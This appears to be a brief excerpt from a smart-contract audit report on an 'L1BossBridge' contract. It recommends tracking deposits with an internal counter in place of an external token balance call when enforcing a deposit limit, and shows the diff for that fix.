Reading the vault's balance from the token contract takes an external call. Using a counter (`totalDeposited`, M-01) replaces it with one SLOAD and also fixes the grief vector.

```
-if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT)
        revert ...;
+if (totalDeposited + amount > DEPOSIT_LIMIT) revert
        L1BossBridge__DepositLimitReached();
+totalDeposited += amount;
```